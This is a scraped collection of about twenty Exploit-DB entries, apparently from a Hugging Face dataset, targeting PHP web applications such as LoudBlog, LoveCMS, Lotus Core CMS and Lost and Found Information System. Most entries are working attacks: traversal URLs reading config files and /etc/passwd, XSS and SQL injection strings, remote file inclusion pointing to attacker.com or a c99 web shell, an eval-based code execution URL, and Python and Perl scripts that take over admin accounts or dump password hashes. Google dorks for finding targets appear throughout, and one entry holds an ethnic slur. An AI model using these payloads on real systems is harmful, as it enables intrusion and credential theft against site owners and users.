deardaniel/secdata-raw huggingface dataset:
Exploit-DB #12651
Description: Lokomedia CMS - 'sukaCMS' Local File Disclosure
Type: webapps
Platform: php
Date: 2010-05-18
Author: vir0e5

Exploit:
# Software Link: http://bukulokomedia.com
# Version: [2.0]
# Tested on: [all OS]

[+] Title : Local File Disclosure Vulnerability Lokomedia CMS (sukaCMS)

[+] Vendor     : http://bukulokomedia.com

[+] Discovered : vir0e5 a.k.a banditc0de

[+] Contact    : vir0e5[at]hackermail[dot]com

[+] Site       : http://vir0e5.blogspot.com

[+] DorK       : inurl:/downlot.php?file=
 
[+] Exploit    : http://[host]/[dir]/downlot.php?file=../config/koneksi.php

[+] Greetings  :[ mywisdom - kiddies - kamtiez - r3m1ck - Aoc - skuteng_boy  - blue_screen - 
                  agdi_cool - dangercode14045 - dewancc and YOU!!!! ] ;

[+] Forum [as member] : http://indonesian-cyber.org | http://tecon-crew.org | http://u3dcrew.darkbb.com | http://devilzc0de.org

[+] Notice : "boycott malaysian product "
* Fuck to Malaysia <= the truly thief asia  
* For HaMaDa SCoOoRPioN are you layz????? copy my exploit???
  http://securityreason.com/securityalert/7161  
  http://securityreason.com/exploitalert/7413   Look Date!!! your copy my style!!!
Exploit-DB #37205
Description: LongTail JW Player - 'debug' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-05-16
Author: gainover

Exploit:
source: https://www.securityfocus.com/bid/53554/info

JW Player is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/player.swf?debug=function(){alert('Simple Alert')}
Exploit-DB #26202
Description: Looking Glass - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-08-27
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14680/info

Looking Glass is prone to a cross-site scripting vulnerability.

This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the software. Other attacks are also possible. 

http://www.example.com/[path]/footer.php?version[fullname]=</a><script>alert('lol')</script>
http://www.example.com/[path]/footer.php?version[homepage]="><script>alert('lol')</script>
http://www.example.com/[path]/footer.php?version[no]=<script>alert('lol')</script>
http://www.example.com/[path]/header.php?version[fullname]=<script>alert('lol')</script>
http://www.example.com/[path]/header.php?version[no]=</title><script>alert('lol')</script>
http://www.example.com/[path]/header.php?version[author]=--><script>alert('lol')</script>
http://www.example.com/[path]/header.php?version[email]=--><script>alert('lol')</script>
Exploit-DB #5121
Description: LookStrike Lan Manager 0.9 - Local/Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-02-14
Author: MhZ91

Exploit:
--==+================================================================================+==--
--==+		LookStrike Lan Manager v0.9 Remote\Local File Inclusion              +==--
--==+================================================================================+==--

 Author: MhZ91
 Title: LookStrike Lan Manager v0.9 Remote\Local File Inclusion 
 Download: http://sourceforge.net/project/showfiles.php?group_id=152660
 Bug: Remote\Local File Inclusion
 Info: LookStrike is a tool written in PHP that manages Lan Party to gain a lot of time about the management of your Lan. You can also gather statistics of your players. LookStrike generate graphics and matches for tournaments automatically.
 Visit: http://www.inj3ct-it.org

[*]----------------------------------------------------------

LookStrike Lan Manager v0.9 present a remote\local file inclusion vulnerability in this file.. 

modules\class\Table.php
modules\class\db\db_admins.php
modules\class\db\db_alert.php
modules\class\db\db_double.php
modules\class\db\db_games.php
modules\class\db\db_matches.php
modules\class\db\db_match_teams.php
modules\class\db\db_news.php
modules\class\db\db_platform.php
modules\class\db\db_players.php
modules\class\db\db_server_group.php
modules\class\db\db_server_ip.php
modules\class\db\db_teams.php
modules\class\db\db_team_players.php
modules\class\db\db_tournaments.php
modules\class\db\db_tournament_teams.php
modules\class\db\db_trees.php
modules\class\tournament\Match.php
modules\class\tournament\MatchTeam.php
modules\class\tournament\Rule.php
modules\class\tournament\RuleBuilder.php
modules\class\tournament\RulePool.php
modules\class\tournament\RuleSingle.php
modules\class\tournament\RuleTree.php
modules\class\tournament\Tournament.php
modules\class\tournament\TournamentTeam.php
modules\class\tournament\Tree.php
modules\class\tournament\TreeSingle.php

all are exploitable by the variable "sys_conf[path][real]" for example

http://www.example.com/modules/class/Table.php?sys_conf[path][real]=[Evil_Code]


[*]----------------------------------------------------------

# milw0rm.com [2008-02-14]
Exploit-DB #51795
Description: Lost and Found Information System v1.0 - ( IDOR ) leads to Account Take over
Type: webapps
Platform: php
Date: 2024-02-13
Author: Or4nG.M4N

Exploit:
# Exploit Title: Lost and Found Information System v1.0 - idor leads to Account Take over 
# Date: 2023-12-03
# Exploit Author: OR4NG.M4N
# Category : webapps
# CVE : CVE-2023-38965

Python p0c :

import argparse
import requests
import time
parser = argparse.ArgumentParser(description='Send a POST request to the target server')
parser.add_argument('-url', help='URL of the target', required=True)
parser.add_argument('-user', help='Username', required=True)
parser.add_argument('-password', help='Password', required=True)
args = parser.parse_args()


url = args.url + '/classes/Users.php?f=save'


data = {
    'id': '1',
    'firstname': 'or4ng',
    'middlename': '',
    'lastname': 'Admin',
    'username': args.user,
    'password': args.password
}

response = requests.post(url, data)
if b"1" in response.content:
    print("Exploit ..")
    time.sleep(1)
    print("User :" + args.user + "\nPassword :" + args.password)
else:
    print("Exploit Failed..")
Exploit-DB #51570
Description: Lost and Found Information System v1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2023-07-06
Author: Amirhossein Bahramizadeh

Exploit:
# Exploit Title: Lost and Found Information System v1.0 - SQL Injection
# Date: 2023-06-30
# country: Iran
# Exploit Author: Amirhossein Bahramizadeh
# Category : webapps
# Dork : /php-lfis/admin/?page=system_info/contact_information
# Tested on: Windows/Linux
# CVE : CVE-2023-33592
import requests

# URL of the vulnerable component
url = "http://example.com/php-lfis/admin/?page=system_info/contact_information"

# Injecting a SQL query to exploit the vulnerability
payload = "' OR 1=1 -- "

# Send the request with the injected payload
response = requests.get(url + payload)

# Check if the SQL injection was successful
if "admin" in response.text:
    print("SQL injection successful!")
else:
    print("SQL injection failed.")
Exploit-DB #48934
Description: Lot Reservation Management System 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-10-23
Author: Ankita Pal

Exploit:
#Exploit Title: lot reservation management system 1.0 - Authentication Bypass
#Date: 2020-10-22
#Exploit Author: Ankita Pal
#Vendor Homepage: https://www.sourcecodester.com/php/14530/lot-reservation-management-system-using-phpmysqli-source-code.html
#Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/lot-reservation-management-system.zip
#Version: V1.0
#Tested on: Windows 10 + xampp v3.2.4


Proof of Concept:::

Step 1:	Open the URL http://localhost:8081/lot-reservation-management-system/admin/login.php 

Step 2:	use payload ' or 1=1 limit 1 -- -+ for both username and password.


Malicious Request:::

POST /lot-reservation-management-system/admin/ajax.php?action=login HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 71
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/lot-reservation-management-system/admin/login.php
Cookie: PHPSESSID=q9kusr41d3em013kbe98b701id

username='+or+1%3D1+limit+1+--+-%2B&password='+or+1%3D1+limit+1+--+-%2B

You will be login as admin of the application.
Exploit-DB #4710
Description: Lotfian.com DATABASE DRIVEN TRAVEL SITE - SQL Injection
Type: webapps
Platform: php
Date: 2007-12-10
Author: Aria-Security Team

Exploit:
Aria-Security Team
http://Aria-Security.Net
-----------------------------
DATABASE DRIVEN TRAVEL SITE
Vendor: Lotfian.com

NewsDetails.asp?NewsID=''UPDATE gtsNews set NewsDescription='HACKED' UPDATE gtsNews set NewsTitle='HACKED'

Destination.asp?CID=''UPDATE gtsCountry set CountyName='HACKED'

RegionDetails.asp?CID=''UPDATE gtsCountryRegion set CountryRegionName='hacked';--

# milw0rm.com [2007-12-10]
Exploit-DB #47985
Description: Lotus Core CMS 1.0.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2020-01-31
Author: Daniel Monzón

Exploit:
# Exploit Title: Lotus Core CMS 1.0.1 - Local File Inclusion
# Google Dork: N/A
# Date: 2020-01-31
# Exploit Author: Daniel Monzón (stark0de)
# Vendor Homepage: http://lotuscore.sourceforge.net/
# Software Link: https://sourceforge.net/projects/lotuscore/files/latest/download
# Version: 1.0.1
# Tested on: Windows 7 x86
# CVE : N/A


The vulnerability occurs on line 65 of the index.php file, first we can provide the page_slug parameter,
if it's not set by the user it is set to index, but if the user sets the parameter via a GET or POST request,
it checks if the file exists and if it exists, it performs an unsanitized inclusion.

-----------------------------------------------------------------------------

if(!$_REQUEST['page_slug']){
	$_REQUEST['page_slug'] = 'index';
}
if(file_exists('system/plugins/'.$_REQUEST['page_slug'].'.php') == true){
	include('system/plugins/'.$_REQUEST['page_slug'].'.php');
}else{
	include("system/plugins/error/404.php");
}

------------------------------------------------------------------------------


The PHP file appends .php to anything we provide as page_slug parameter so to include any file we must use a nullbyte.
Note that you need to be authenticated to exploit this. The explotation would be like this:

http://site:80/index.php?page_slug=../../../../../etc/passwd%00
Exploit-DB #5866
Description: Lotus Core CMS 1.0.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-06-19
Author: Ciph3r

Exploit:
###############################################################
#
# [phpbb3] Lotus Core CMS v1.0.1 Remote File Include Vulnerabilities 
#
###############################################################
#
# Discovered by : Ciph3r
#
#
# MAIL : Ciph3r_blackhat@yahoo.com
#
#
# SP TANX4 : Iranian hacker & Kurdish Security TEAM 
#
# CLASS : remote
#
# download cms: http://sourceforge.net/project/showfiles.php?group_id=215112
#
################################################################
#
# C0de : 
#                
#                  
#    include($phpbb_root_path . 'includes/bbcode.' . $phpEx);
#       
#        
###############################################################

EXPLOIT :

 
 http://127.0.0.1/cms/Lotus%20Core%20v1.0.1/system/plugins/index.php?phpbb_root_path=http://127.0.0.1/c99.php?
 
 http://127.0.0.1/cms/Lotus%20Core%20v1.0.1/system/plugins/error/404.php?phpbb_root_path=http://127.0.0.1/c99.php?


#####################################################################

# milw0rm.com [2008-06-19]
Exploit-DB #2603
Description: Lou Portail 1.4.1 - 'admin_module.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-20
Author: MP

Exploit:
## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ##
#                                                               #
#           [ Lou Portail 1.4.1 ]                               #
#                                                                
# Class:     Remote|Local File Include Vulnerability            #
# Patch:     Unavailable                                        #
# Published  2006/10/18                                         #
# Remote:    Yes                                                
# Local:     No                            			#
# Type:      High                                               #
# Site:      http://louportail.free.fr/                         #
# Author:    MP
# Contact:   mp01010@yahoo.com                    		#
#                                				#
#################################################################

Vuln Code (admin/admin_module.php):

<?...
  include ("$g_admin_rep/admin_utils.$g_ext");
...?>

#Vuln 1.0 -> require register_globals = On
http://louportail.com/admin/admin_module.php?g_admin_rep=http://attacker.com&g_ext=txt

#Vuln 2.0 -> require magic_quotes_gpc = Off
http://louportail.com/admin/admin_module.php?g_admin_rep=../../../../../../../../../../../../../../../../../../../../etc/passwd%00

# milw0rm.com [2006-10-20]
Exploit-DB #27370
Description: LoudBlog 0.41 - 'backend_settings.php' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2006-03-07
Author: tzitaroth

Exploit:
source: https://www.securityfocus.com/bid/17023/info
  
Loudblog is prone to multiple input-validation vulnerabilities:
  
- An SQL-injection vulnerability.
- Two local file-include vulnerabilities.
- An information-disclosure vulnerability.
  
These issues allow remote attackers to execute arbitrary PHP script code in the context of the hosting webserver, gain administrative privileges in the web application, and gain access to potentially sensitive information.
  
The SQL-injection vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in the modification of query logic or other attacks. Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
  
Other attacks may also be possible.
  
Loudblog version 0.41 is vulnerable to these issues; other versions may also be affected.

POST /loudblog/loudblog/inc/backend_settings.php HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

language=../../../index
Exploit-DB #27369
Description: LoudBlog 0.41 - 'index.php?template' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2006-03-07
Author: tzitaroth

Exploit:
source: https://www.securityfocus.com/bid/17023/info
 
Loudblog is prone to multiple input-validation vulnerabilities:
 
- An SQL-injection vulnerability.
- Two local file-include vulnerabilities.
- An information-disclosure vulnerability.
 
These issues allow remote attackers to execute arbitrary PHP script code in the context of the hosting webserver, gain administrative privileges in the web application, and gain access to potentially sensitive information.
 
The SQL-injection vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in the modification of query logic or other attacks. Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
 
Other attacks may also be possible.
 
Loudblog version 0.41 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/loudblog/index.php?template=../../../loudblog/custom/config.php%00
http://www.example.com/loudblog/loudblog/index.php?page=/../../../audio/cmdphp.mp3%00
Exploit-DB #27368
Description: LoudBlog 0.41 - 'podcast.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-03-07
Author: tzitaroth

Exploit:
source: https://www.securityfocus.com/bid/17023/info

Loudblog is prone to multiple input-validation vulnerabilities:

- An SQL-injection vulnerability.
- Two local file-include vulnerabilities.
- An information-disclosure vulnerability.

These issues allow remote attackers to execute arbitrary PHP script code in the context of the hosting webserver, gain administrative privileges in the web application, and gain access to potentially sensitive information.

The SQL-injection vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in the modification of query logic or other attacks. Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Other attacks may also be possible.

Loudblog version 0.41 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/loudblog/podcast.php?id=[SQL]
Exploit-DB #4849
Description: LoudBlog 0.6.1 - 'parsedpage' Remote Code Execution
Type: webapps
Platform: php
Date: 2008-01-06
Author: Eugene Minaev

Exploit:
----[ Loudblog Remote Code Execution ... ITDefence.ru Antichat.ru ]

							Loudblog >= 0.6.1 Remote Code Execution
							Eugene Minaev underwater@itdefence.ru
				___________________________________________________________________
			____/  __ __ _______________________ _______  _______________    \  \   \
			/ .\  /  /_// //              /        \       \/      __       \   /__/   /
			/ /     /_//              /\        /       /      /         /     /___/
			\/        /              / /       /       /\     /         /         /
			/        /               \/       /       / /    /         /__       //\
			\       /    ____________/       /        \/    __________// /__    // /   
			/\\      \_______/        \________________/____/  2007    /_//_/   // //\
			\ \\                                                               // // /
			.\ \\        -[     ITDEFENCE.ru Security advisory     ]-         // // / . 
			. \_\\________[________________________________________]_________//_//_/ . .
			
		Template parser function
		
		<?php
		
		$parsedpage = fullparse(firstparse(hrefmagic($template)));

		//do we have php code within our template? switch between echo and eval!
		if ($php_use) {
		$templatepieces = explode ($phpseparator, $parsedpage);
		for ($i = 0; $i <= count($templatepieces); $i += 2) {
		echo $templatepieces[$i];
		if (isset($templatepieces[$i+1])) eval ($templatepieces[$i+1]);
		}
		//no php code, no eval!
		} else {
		echo $parsedpage;
		}  
		
		?>
		
		loudblog/inc/parse_old.php?template=@phpinfo();@&php_use=1&phpseparator=@&parsedpage=@phpinfo();@
		

----[ FROM RUSSIA WITH LOVE :: underWHAT?! , gemaglabin ]

# milw0rm.com [2008-01-06]
Exploit-DB #6808
Description: LoudBlog 0.8.0a - 'ajax.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-22
Author: Xianur0

Exploit:
#!/usr/bin/perl
# This Exploit requires a valid user name and password of an account regardless of the permissions
#
# Author: Xianur0
# Affected: All Versions
# Bug: SQL Injection
# 
# Doorks:
#  allintext: "powered by LoudBlog"


  use HTTP::Request::Common qw(POST);
  use LWP::UserAgent;
  use Digest::MD5 qw(md5_hex);
  $ua = LWP::UserAgent->new;

print "\n             LoudBlog Exploit All Version By Xianur0\n\n";
$uri = $ARGV[0];
$id = $ARGV[1];
$password = $ARGV[3] || die("\nUse: loudblog.pl [URI] [ID Admin] [Valid User] [Valid Password]\n");
$md5 = md5_hex($ARGV[2]).":".md5_hex($password);

  my $req = POST $uri.'/loudblog/ajax.php',
                [ colpick => "concat(0x557365723a20,nickname,0x0d0a[PII_REDACTED]6f72643a20,password)", rowpick => "id", rowval => $id, table => 'authors', action => 'singleread'];
$req->header('User-Agent' => 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17');
$req->header('Cookie' => 'lbauth='.$md5);
$res = $ua->request($req);
  print $res->content."\n"; 

# milw0rm.com [2008-10-22]
Exploit-DB #29639
Description: LoveCMS 1.4 - 'id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-02-22
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/22675/info
   
LoveCMS is prone to multiple input-validation vulnerabilities, including an arbitrary-file-upload issue, a remote file-include issue, a local file-include issue, and a cross-site scripting issue.
   
An attacker can exploit these issues to steal cookie-based authentication credentials, upload an arbitrary PHP file, execute the file on the vulnerable computer in the context of the webserver process, retrieve arbitrary files from the vulnerable system in the context of the affected application, and delete arbitrary files on the server.
   
http://www.example.com/lovecms/?load=content&id=[xss]
Exploit-DB #29638
Description: LoveCMS 1.4 - 'load' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2007-02-22
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/22675/info
  
LoveCMS is prone to multiple input-validation vulnerabilities, including an arbitrary-file-upload issue, a remote file-include issue, a local file-include issue, and a cross-site scripting issue.
  
An attacker can exploit these issues to steal cookie-based authentication credentials, upload an arbitrary PHP file, execute the file on the vulnerable computer in the context of the webserver process, retrieve arbitrary files from the vulnerable system in the context of the affected application, and delete arbitrary files on the server.
  
http://www.example.com//ovecms/?load=../../../../../../../../../../etc/passwd%00
Exploit-DB #29636
Description: LoveCMS 1.4 - 'step' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-22
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/22675/info

LoveCMS is prone to multiple input-validation vulnerabilities, including an arbitrary-file-upload issue, a remote file-include issue, a local file-include issue, and a cross-site scripting issue.

An attacker can exploit these issues to steal cookie-based authentication credentials, upload an arbitrary PHP file, execute the file on the vulnerable computer in the context of the webserver process, retrieve arbitrary files from the vulnerable system in the context of the affected application, and delete arbitrary files on the server. 

http://www.example.com/lovecms/install/index.php?step=http://example2.com/boum.txt?
Exploit-DB #29637
Description: LoveCMS 1.4 - 'step' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2007-02-22
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/22675/info
 
LoveCMS is prone to multiple input-validation vulnerabilities, including an arbitrary-file-upload issue, a remote file-include issue, a local file-include issue, and a cross-site scripting issue.
 
An attacker can exploit these issues to steal cookie-based authentication credentials, upload an arbitrary PHP file, execute the file on the vulnerable computer in the context of the webserver process, retrieve arbitrary files from the vulnerable system in the context of the affected application, and delete arbitrary files on the server.
 
http://www.example.com/lovecms/install/index.php?step=/etc/passwd%00